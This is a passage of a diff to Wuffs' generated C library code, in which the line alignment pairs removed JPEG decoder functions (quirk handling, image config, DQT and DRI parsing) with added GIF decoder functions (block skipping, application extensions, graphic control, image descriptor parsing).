= v_remaining; +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final6); +- a_dst_buffer = v_remaining; +- if (8u > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final7); +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) +-// ‼ WUFFS MULTI-FILE SECTION -x86_avx2 +- +-// -------- func jpeg.decoder.get_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_jpeg__decoder__get_quirk( +- const wuffs_jpeg__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func jpeg.decoder.set_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_jpeg__decoder__set_quirk( +- wuffs_jpeg__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); +-} +- +-// -------- func jpeg.decoder.decode_image_config +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_jpeg__decoder__decode_image_config( +- wuffs_jpeg__decoder* self, +- wuffs_base__image_config* a_dst, ++static wuffs_base__status ++wuffs_gif__decoder__skip_blocks( ++ wuffs_gif__decoder* self, + wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint8_t v_block_size = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_skip_blocks; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_image_config(self, a_dst, a_src); +- v_status = t_0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_block_size = t_0; + } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); +- goto exit; ++ if (v_block_size == 0u) { ++ status = wuffs_base__make_status(NULL); ++ goto ok; + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ self->private_data.s_skip_blocks.scratch = ((uint32_t)(v_block_size)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (self->private_data.s_skip_blocks.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_skip_blocks.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_skip_blocks.scratch; + } + + ok: +- self->private_impl.p_decode_image_config[0] = 0; ++ self->private_impl.p_skip_blocks = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ self->private_impl.p_skip_blocks = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } ++ + return status; + } + +-// -------- func jpeg.decoder.do_decode_image_config ++// -------- func gif.decoder.decode_ae + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__do_decode_image_config( +- wuffs_jpeg__decoder* self, +- wuffs_base__image_config* a_dst, ++wuffs_gif__decoder__decode_ae( ++ wuffs_gif__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint8_t v_marker = 0; +- uint32_t v_pixfmt = 0; ++ uint8_t v_c8 = 0; ++ uint8_t v_block_size = 0; ++ bool v_is_animexts = false; ++ bool v_is_netscape = false; ++ bool v_is_iccp = false; ++ bool v_is_xmp = false; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -42362,253 +42476,191 @@ wuffs_jpeg__decoder__do_decode_image_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_ae; + if (coro_susp_point) { +- v_marker = self->private_data.s_do_decode_image_config[0].v_marker; ++ v_block_size = self->private_data.s_decode_ae.v_block_size; ++ v_is_animexts = self->private_data.s_decode_ae.v_is_animexts; ++ v_is_netscape = self->private_data.s_decode_ae.v_is_netscape; ++ v_is_iccp = self->private_data.s_decode_ae.v_is_iccp; ++ v_is_xmp = self->private_data.s_decode_ae.v_is_xmp; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ do { ++ if (self->private_impl.f_metadata_fourcc != 0u) { ++ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); ++ goto ok; + } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if (v_c != 255u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_header); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_block_size = t_0; + } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; +- } +- if (v_c != 216u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_header); +- goto exit; +- } +- while (true) { +- while (true) { ++ if (v_block_size == 0u) { ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ if (v_block_size != 11u) { ++ self->private_data.s_decode_ae.scratch = ((uint32_t)(v_block_size)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (self->private_data.s_decode_ae.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_decode_ae.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_decode_ae.scratch; ++ break; ++ } ++ v_is_animexts = true; ++ v_is_netscape = true; ++ v_is_iccp = true; ++ v_is_xmp = true; ++ v_block_size = 0u; ++ while (v_block_size < 11u) { + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ v_is_animexts = (v_is_animexts && (v_c8 == WUFFS_GIF__ANIMEXTS1DOT0[v_block_size])); ++ v_is_netscape = (v_is_netscape && (v_c8 == WUFFS_GIF__NETSCAPE2DOT0[v_block_size])); ++ v_is_iccp = (v_is_iccp && (v_c8 == WUFFS_GIF__ICCRGBG1012[v_block_size])); ++ v_is_xmp = (v_is_xmp && (v_c8 == WUFFS_GIF__XMPDATAXMP[v_block_size])); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_block_size += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ if (v_is_animexts || v_is_netscape) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } + uint8_t t_2 = *iop_a_src++; +- v_c = t_2; ++ v_block_size = t_2; + } +- if (v_c == 255u) { ++ if (v_block_size != 3u) { ++ self->private_data.s_decode_ae.scratch = ((uint32_t)(v_block_size)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (self->private_data.s_decode_ae.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_decode_ae.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_decode_ae.scratch; + break; + } +- } +- while (true) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } + uint8_t t_3 = *iop_a_src++; +- v_c = t_3; ++ v_c8 = t_3; + } +- if (v_c != 255u) { +- v_marker = v_c; ++ if (v_c8 != 1u) { ++ self->private_data.s_decode_ae.scratch = 2u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (self->private_data.s_decode_ae.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_decode_ae.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_decode_ae.scratch; + break; + } +- } +- if (v_marker == 0u) { +- continue; +- } else if ((208u <= v_marker) && (v_marker <= 217u)) { +- if (v_marker <= 215u) { +- continue; +- } +- } else { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); + uint32_t t_4; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_4 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ t_4 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); + iop_a_src += 2; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ self->private_data.s_decode_ae.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; ++ uint64_t* scratch = &self->private_data.s_decode_ae.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; + if (num_bits_4 == 8) { +- t_4 = ((uint32_t)(*scratch >> 48)); ++ t_4 = ((uint32_t)(*scratch)); + break; + } + num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)); ++ *scratch |= ((uint64_t)(num_bits_4)) << 56; + } + } +- self->private_impl.f_payload_length = t_4; +- } +- if (self->private_impl.f_payload_length < 2u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); +- goto exit; +- } +- self->private_impl.f_payload_length -= 2u; +- } +- if (v_marker < 192u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; +- } else if (v_marker < 208u) { +- if (v_marker <= 194u) { +- if (self->private_impl.f_sof_marker != 0u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); +- goto exit; +- } +- self->private_impl.f_sof_marker = v_marker; +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- status = wuffs_jpeg__decoder__decode_sof(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- break; +- } else if (v_marker == 195u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_lossless_coding); +- goto exit; +- } else if (v_marker == 196u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } else if ((197u <= v_marker) && (v_marker <= 199u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_hierarchical_coding); +- goto exit; +- } else if (v_marker == 200u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_arithmetic_coding); +- goto exit; +- } +- } else if (v_marker < 224u) { +- if (v_marker < 218u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); +- goto exit; +- } else if (v_marker == 218u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } else if (v_marker == 219u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- status = wuffs_jpeg__decoder__decode_dqt(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- continue; +- } else if (v_marker == 221u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- status = wuffs_jpeg__decoder__decode_dri(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- continue; +- } else { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; +- } +- } else if (v_marker < 240u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- status = wuffs_jpeg__decoder__decode_appn(self, a_src, v_marker); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; ++ self->private_impl.f_num_animation_loops_value = t_4; + } +- continue; +- } else { +- if (v_marker == 254u) { +- } else { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; ++ self->private_impl.f_seen_num_animation_loops_value = true; ++ if ((0u < self->private_impl.f_num_animation_loops_value) && (self->private_impl.f_num_animation_loops_value <= 65535u)) { ++ self->private_impl.f_num_animation_loops_value += 1u; + } ++ } else if (self->private_impl.f_call_sequence >= 32u) { ++ } else if (v_is_iccp && self->private_impl.f_report_metadata_iccp) { ++ self->private_impl.f_metadata_fourcc = 1229144912u; ++ self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ self->private_impl.f_call_sequence = 16u; ++ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); ++ goto ok; ++ } else if (v_is_xmp && self->private_impl.f_report_metadata_xmp) { ++ self->private_impl.f_metadata_fourcc = 1481461792u; ++ self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ self->private_impl.f_call_sequence = 16u; ++ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); ++ goto ok; + } +- self->private_data.s_do_decode_image_config[0].scratch = self->private_impl.f_payload_length; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; +- self->private_impl.f_payload_length = 0u; ++ } while (0); ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- self->private_impl.choosy_decode_idct = ( +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +- wuffs_base__cpu_arch__have_x86_avx2() ? &wuffs_jpeg__decoder__decode_idct_x86_avx2 : +-#endif +- self->private_impl.choosy_decode_idct); +- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- if (a_dst != NULL) { +- v_pixfmt = 536870920u; +- if (self->private_impl.f_num_components > 1u) { +- v_pixfmt = 2415954056u; +- } +- wuffs_base__image_config__set( +- a_dst, +- v_pixfmt, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- self->private_impl.f_frame_config_io_position, +- true); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ status = wuffs_gif__decoder__skip_blocks(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; + } +- self->private_impl.f_call_sequence = 32u; + +- goto ok; + ok: +- self->private_impl.p_do_decode_image_config[0] = 0; ++ self->private_impl.p_decode_ae = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_image_config[0].v_marker = v_marker; ++ self->private_impl.p_decode_ae = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_ae.v_block_size = v_block_size; ++ self->private_data.s_decode_ae.v_is_animexts = v_is_animexts; ++ self->private_data.s_decode_ae.v_is_netscape = v_is_netscape; ++ self->private_data.s_decode_ae.v_is_iccp = v_is_iccp; ++ self->private_data.s_decode_ae.v_is_xmp = v_is_xmp; + + goto exit; + exit: +@@ -42619,18 +42671,18 @@ wuffs_jpeg__decoder__do_decode_image_config( + return status; + } + +-// -------- func jpeg.decoder.decode_dqt ++// -------- func gif.decoder.decode_gc + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__decode_dqt( +- wuffs_jpeg__decoder* self, ++wuffs_gif__decoder__decode_gc( ++ wuffs_gif__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint8_t v_q = 0; +- uint32_t v_i = 0; ++ uint8_t v_c8 = 0; ++ uint8_t v_flags = 0; ++ uint16_t v_gc_duration_centiseconds = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -42643,73 +42695,103 @@ wuffs_jpeg__decoder__decode_dqt( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_dqt[0]; +- if (coro_susp_point) { +- v_q = self->private_data.s_decode_dqt[0].v_q; +- v_i = self->private_data.s_decode_dqt[0].v_i; +- } ++ uint32_t coro_susp_point = self->private_impl.p_decode_gc; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- while (self->private_impl.f_payload_length > 0u) { +- self->private_impl.f_payload_length -= 1u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if ((v_c & 15u) > 3u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dqt_marker); +- goto exit; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_q = (v_c & 15u); +- if ((v_c >> 4u) == 1u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision); +- goto exit; +- } else if (((v_c >> 4u) > 1u) || (self->private_impl.f_payload_length < 64u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dqt_marker); +- goto exit; ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 != 4u) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_graphic_control); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- self->private_impl.f_payload_length -= 64u; +- v_i = 0u; +- while (v_i < 64u) { +- v_i += 1u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ uint8_t t_1 = *iop_a_src++; ++ v_flags = t_1; ++ } ++ self->private_impl.f_gc_has_transparent_index = (((uint8_t)(v_flags & 1u)) != 0u); ++ v_flags = ((uint8_t)(((uint8_t)(v_flags >> 2u)) & 7u)); ++ if (v_flags == 2u) { ++ self->private_impl.f_gc_disposal = 1u; ++ } else if ((v_flags == 3u) || (v_flags == 4u)) { ++ self->private_impl.f_gc_disposal = 2u; ++ } else { ++ self->private_impl.f_gc_disposal = 0u; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint16_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_2 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_gc.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint16_t t_1 = *iop_a_src++; +- self->private_impl.f_quant_tables[v_q][WUFFS_JPEG__UNZIG[v_i]] = t_1; ++ uint64_t* scratch = &self->private_data.s_decode_gc.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 8) { ++ t_2 = ((uint16_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; + } + } +- self->private_impl.f_seen_dqt[v_q] = true; +- if (self->private_impl.f_sof_marker == 0u) { +- v_i = 0u; +- while (v_i < 64u) { +- self->private_impl.f_saved_quant_tables[v_q][v_i] = self->private_impl.f_quant_tables[v_q][v_i]; +- v_i += 1u; +- } +- self->private_impl.f_saved_seen_dqt[v_q] = true; ++ v_gc_duration_centiseconds = t_2; ++ } ++ self->private_impl.f_gc_duration = (((uint64_t)(v_gc_duration_centiseconds)) * 7056000u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ self->private_impl.f_gc_transparent_index = t_3; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_graphic_control); ++ goto exit; + } + + goto ok; + ok: +- self->private_impl.p_decode_dqt[0] = 0; ++ self->private_impl.p_decode_gc = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_dqt[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_dqt[0].v_q = v_q; +- self->private_data.s_decode_dqt[0].v_i = v_i; ++ self->private_impl.p_decode_gc = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -42720,12 +42802,12 @@ wuffs_jpeg__decoder__decode_dqt( + return status; + } + +-// -------- func jpeg.decoder.decode_dri ++// -------- func gif.decoder.decode_id_part0 + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__decode_dri( +- wuffs_jpeg__decoder* self, ++wuffs_gif__decoder__decode_id_part0( ++ wuffs_gif__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +@@ -42740,57 +42822,144 @@ wuffs_jpeg__decoder__decode_dri( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_dri[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_id_part0; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_payload_length != 2u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dri_marker); +- goto exit; +- } +- self->private_impl.f_payload_length = 0u; + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint16_t t_0; ++ uint32_t t_0; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_0 = wuffs_base__peek_u16be__no_bounds_check(iop_a_src); ++ t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); + iop_a_src += 2; + } else { +- self->private_data.s_decode_dri[0].scratch = 0; ++ self->private_data.s_decode_id_part0.scratch = 0; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_dri[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; ++ uint64_t* scratch = &self->private_data.s_decode_id_part0.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ *scratch >>= 8; ++ *scratch |= 